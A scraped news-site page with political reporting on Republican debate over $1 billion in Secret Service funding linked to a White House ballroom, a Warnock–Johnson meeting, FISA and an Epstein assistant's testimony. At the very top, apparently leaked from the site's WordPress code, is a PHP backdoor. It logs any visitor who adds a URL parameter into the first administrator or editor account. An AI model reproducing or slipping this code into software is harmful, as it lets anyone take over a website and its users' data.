// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Nervous Republicans weigh their options amid White House’s ballroom lobbying blitz – Blue Light News
Connect with us

Congress

Nervous Republicans weigh their options amid White House’s ballroom lobbying blitz

Published

4 weeks ago

on

President Donald Trump’s pet project is hanging by a thread.

The political risk of spending taxpayer dollars on parts of a new White House ballroom has unsettled congressional Republicans, who are questioning whether they can approve $1 billion in Secret Service security funding — even as officials from the agency, the Department of Homeland Security and the White House blanket Capitol Hill to make the case for its necessity amid growing threats.

Senate Republicans, including party leaders, are discussing making potential changes to the billion-dollar item as they deal with member concerns and wait for the chamber’s parliamentarian to rule on whether it can even be included in the GOP’s party-line immigration enforcement funding bill. No final decisions have been made, but options include reducing the amount of funding.

The discussions are centered on “how to get 50 votes in the Senate,” Majority Leader John Thune said in an interview about the security funding talks. “And then obviously what happens with the parliamentarian will have a lot to do with how that shakes out, too.”

Senate aides will meet with Parliamentarian Elizabeth MacDonough Friday to litigate the portion of the legislation that includes the Secret Service funding, according to two people granted anonymity to disclose private scheduling. Senators generally defer to MacDonough’s interpretations of the “Byrd rule,” the restrictions governing what is permissible in a filibuster-skirting budget reconciliation bill.

Republicans across the Capitol are also keeping their powder dry until after the meeting, known in Hill parlance as a “Byrd bath.” MacDonough ruled Thursday other parts of the bill she had already reviewed did not pass muster, though GOP staff will try to rewrite them in the coming days to comply.

“We want to see what the Senate does, because they’ve … got the Byrd bath that they have to go through that is not a House process,” House Majority Leader Steve Scalise said. “Right now, I don’t think people are passing judgment because they don’t know what the final product is going to look like coming from the Senate.”

Scalise, asked about the alarm from some of his GOP members about the political optics of public funding for the ballroom, replied, “There’s a lot of meetings going on.”

“There’s a lot of those conversations, but we’re in the early stages, because we don’t know what the final product is going to look like,” he added.

Republican leaders are expressing confidence that MacDonough will approve the Secret Service provision, which directs the funding to “security adjustments and upgrades.” But some, including Senate Homeland Security Chair Rand Paul (R-Ky.), have predicted the language could come out and are waiting to see how she rules before they decide if they will support the bill.

Reconciliation rules dictate that all parts of the bill must have a direct impact on the federal budget, and they also must fall within the jurisdiction of committees that are specified in the budget framework Republicans approved last month. Democrats are expected to argue that the security provision should be removed because it steps into an active court battle and was drafted by the Judiciary Committee, which does not have jurisdiction over the White House construction project, according to a person granted anonymity to describe private strategy.

MacDonough could decide that the whole provision has to go, or she might target part of it, such as language referring specifically to the East Wing project.

Even if that language gets past MacDonough, GOP leaders in both chambers are facing unease — and in some cases, outright opposition — within their ranks that could threaten the security funding.

Several GOP senators want a more detailed breakdown of how the Secret Service will use the funding related to the East Wing project. The Judiciary Committee language specifies only that it can be used for “above-ground and below-ground security features” but not on “non-security elements.”

A document handed to GOP senators Tuesday specified no more than $220 million would go to the White House project and listed a few examples of how the funding could be used in relation to the project, such as for bulletproof glass. That failed to quell concerns.

“The White House is trying, I think, to get more details to it. But I think what’s become clear is you have security pieces for the East Wing, but you also have a lot of just additional add-ons for Secret Service,” said Sen. Lisa Murkowski (R-Alaska).

Another GOP senator, who was granted anonymity to speak candidly, added: “You can’t just drop a round number on us and say, ‘We need a billion dollars.’”

Thune said part of the $1 billion is meant to address a “fairly long and pent-up demand” for additional resources for Secret Service separate from the East Wing-specific money. But those requests have sparked questions from Senate Appropriations Chair Susan Collins (R-Maine) about why they aren’t going through the normal government funding process.

Under reconciliation rules, Republicans will be subject to unlimited amendment debate before they can pass the bill. Democrats are expected to offer a proposal to strike the $1 billion, which could succeed if four Republicans vote with all Democrats.

Asked if leaders had the votes to pass the bill with the ballroom-related language, Senate Majority Whip John Barrasso (R-Wyo.) noted two committees are scheduled to act on the bill next week before it goes to the floor.

“You’re asking what’s going to happen in a vote-a-rama Thursday night,” Barrasso said, referring to the amendment extravaganza, noting it was still “days away.”

The ballroom issue could come to a head earlier, when the Senate Budget Committee meets next week to prepare the bill for the floor. Sen. John Kennedy (R-La.), who sits on the panel, wants to lower the overall size of the immigration enforcement bill to offset the inclusion of the $1 billion security request.

If the funding survives the Senate, its approval in the House is hardly a sure thing. The prospect of taking a vote next week to green-light hundreds of millions of dollars for White House and ballroom security has alarmed several politically vulnerable Republicans.

“I haven’t committed one way or another until we get more of a further breakdown as to how it’s going to be allocated,” Rep. Rob Bresnahan (R-Pa.) said in an interview Thursday.

In closed-door meetings earlier this week, House Republicans in at-risk seats pressed Secret Service Director Sean Curran and DHS Secretary Markwayne Mullin for more details on the $220 million White House portion of the security ask. Both men said that information would be forthcoming.

Bresnahan said he was still waiting to see an itemized list while also hinting that he is hoping the matter takes care of itself.

“This could easily be Byrded out,” he added, referring to MacDonough’s ruling.

Rep. Brian Fitzpatrick (R-Pa.), who warned earlier this week that the ballroom funding was “not happening” on the immigration bill, signaled Thursday he was heeding voters in his district by not backing down.

“They want DHS funded, they want ICE reforms, and they don’t want taxpayer funds going to a ballroom,” Fitzpatrick said.

But Trump and his deputies have successfully browbeat GOP lawmakers into line many times in the past, and the White House’s pressure campaign on the ballroom money is making some headway, according to six people involved in the conversations.

Rep. Don Bacon (R-Neb.) initially voiced apprehension about the idea Tuesday, saying, “I don’t think it’s wise.” Hours later, after meeting with Mullin, Bacon softened his views, arguing it wasn’t “as much money” for the ballroom project as he thought.

Other House Republicans who are facing tough races are under immense pressure from the White House to approve the money and privately say they are likely to do so. One thing weighing on GOP lawmakers’ minds is the succession of assassination attempts targeting Trump and the overall rise in political violence.

“We know there’s an emerging, just radically different threat environment, even [versus] just five years ago,” said one. “And so we have to make sure that we have the appropriate resources across a full spectrum of infrastructure capabilities.”

Ali Bianco, Mia McCarthy, Jennifer Scholtes and Katherine Tully-McManus contributed to this report.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Raphael Warnock meets with Mike Johnson after questioning speaker’s Christian faith

Published

51 minutes ago

on

June 9, 2026

By

Sen. Raphael Warnock met Tuesday with Speaker Mike Johnson after the Republican leader requested the Democratic senator privately discuss comments Warnock made regarding Johnson’s faith in a recent interview.

Warnock was asked in the New York Times Q&A about Johnson praying ahead of the passage last year of the GOP megabill that included tax cuts and reductions in social-service programs and how he “understands that.”

Warnock, the pastor of a prominent Atlanta church, responded that he is a “Matthew 25 Christian,” referencing the chapter of the Gospel where Jesus describes the responsibility of the faithful to treat the hungry, sick and foreign with compassion.

“I don’t understand how you read that, say a long prayer, hold hands with your fellow legislators, and then cut a trillion dollars — $1 trillion — out of Medicaid calling it waste, fraud, and abuse,” Warnock said.

Leaving the meeting in Johnson’s office, Warnock said he raised the very same point personally to the speaker on Tuesday.

“We talked about the policy, and we agreed to disagree,” he said. “But we also talked about our faith and our upbringing, and that, for me, was important because I think just at a human level it would help around this place if we had more authentic conversations across our differences.”

“The stakes are too high for us to be engaged in political fencing around here and not have authentic conversations at a human level about why you believe what you believe,” he continued. “And so I left hopeful that we might have more of that kind of conversation.”

Johnson struck a similar note in a statement: “I was happy to meet with Senator Warnock today and have a positive, fruitful discussion about matters of faith and our different opinions regarding public policy. Such dialogue is important because it is always more productive to have these conversations face to face.”

Warnock and a spokesperson for the speaker both confirmed Johnson requested the meeting after the Times interview was published.

Warnock described the tone of the approximately 30-minute meeting as “honest, candid” and “respectful.” He said that the two men exchanged phone numbers and agreed to stay in touch.

Johnson, a devout evangelical Christian, often talks about his faith as he navigates his slim majority and near-constant GOP infighting. He often cites the Bible and advised President Donald Trump earlier this year to take down a photo from his Truth Social account that depicted Trump as Jesus.

“I think there are people gathered in this building every week who go to church on Sunday,” Warnock said after the meeting. “And I just sometimes wonder what their preacher is preaching about. The gospels that I preach center the poor.”

Continue Reading

Congress

Trump not expected to act on Pulte after Johnson meeting

Published

2 hours ago

on

June 9, 2026

By

A key U.S. spy law remains on track to expire at the end of the week after Speaker Mike Johnson met with President Donald Trump Tuesday about the future of a key section of the Foreign Intelligence Surveillance Act.

Trump indicated in the private White House that he’s not inclined to appease Democrats and pave the way for a FISA extension by nominating a permanent director of national intelligence to succeed Bill Pulte, the acting director he installed last week, according to three people briefed on the conversation who were granted anonymity to describe it.

Most Democrats are refusing to move forward with any FISA extension so long as Pulte, a close political ally of the president with no national security experience, remains in the intelligence post. Some Republicans have been hoping a new Trump nomination could provide an off-ramp ahead of the quickly approaching FISA deadline.

But the people briefed on the meeting were left with the impression it didn’t go very well as Trump continues to push back on any suggestion that he needs to placate Democrats to pave the way for a FISA extension.

Johnson told reporters Tuesday the meeting went well but declined to discuss specifics. He added that “Democrats have taken a hostage” and that the Senate would need to quickly figure out a path forward.

Continue Reading

Congress

Longtime Epstein assistant says she set up phone calls between Epstein and Trump

Published

2 hours ago

on

June 9, 2026

By

Jeffrey Epstein’s longtime assistant Lesley Groff said in a closed-door interview Tuesday that she arranged phone calls between the late, disgraced financier and President Donald Trump, two Democrats on the House Oversight and Government Reform Committee told reporters.

“I believe she referred to a time before, before Mr. Trump was president, that she did arrange for multiple phone calls between the two,” Rep. Stephen Lynch (D-Mass.) said of Groff, who worked for Epstein for around 18 years beginning in 2001.

Rep. Melanie Stansbury (D-N.M.) also said that Groff told the panel that “she arranged calls for them to connect,” referring to the president and Epstein, but that those calls were not frequent.

Groff is on Capitol Hill to speak to the Oversight committee as part of its ongoing Epstein investigation. Trump has insisted he cut off ties with Epstein years before his death and has not been charged with any misconduct, but Democrats have repeatedly questioned whether the administration has worked to cover up evidence of a continued relationship.

“Just as President Trump has said, he’s been totally exonerated on anything relating to Epstein,” said White House spokesperson Abigail Jackson in a statement. “And by releasing thousands of pages of documents, cooperating with the House Oversight Committee’s subpoena request, signing the Epstein Files Transparency Act, and calling for more investigations into Epstein’s Democrat friends, President Trump has done more for Epstein’s victims than anyone before him.”

Groff was never charged with any wrongdoing, but in a class-action lawsuit against the co-executors of Epstein’s estate, she is cited as “Epstein’s secretary who made travel arrangements for the girls, tended to their living needs, and scheduled massage sessions.” She also was named as an unindicted co-conspirator as part of Epstein’s 2008 non-prosecution agreement.

A key player in Epstein’s orbit throughout his life, Groff’s name is featured prominently in the Epstein files rolled out by the Justice Department late last year, showing her on the front lines of arranging meetings on her former boss’s behalf.

But behind closed doors Tuesday, lawmakers said Tuesday that Groff sought to distance herself from Epstein’s improprieties, telling the Oversight committee she did not see Epstein engage in misconduct.

Rep. James Walkinshaw (D-Va.) said in an interview that he did not believe it was “remotely plausible” for Groff to be oblivious to Epstein’s deeds.

“He was a registered sex offender, and she arranged young women for massages with a registered sex offender, and I just question whether, whether she can rightfully and truthfully maintain that she saw nothing improper,” said Lynch.

Rep. Suhas Subramanyam (D-Va.) said in an interview Monday night he was eager to “get [Groff] on the record, so that when we find out later she was lying, we can arrest her.”

An attorney for Groff did not return a request for comment.

Continue Reading

Trending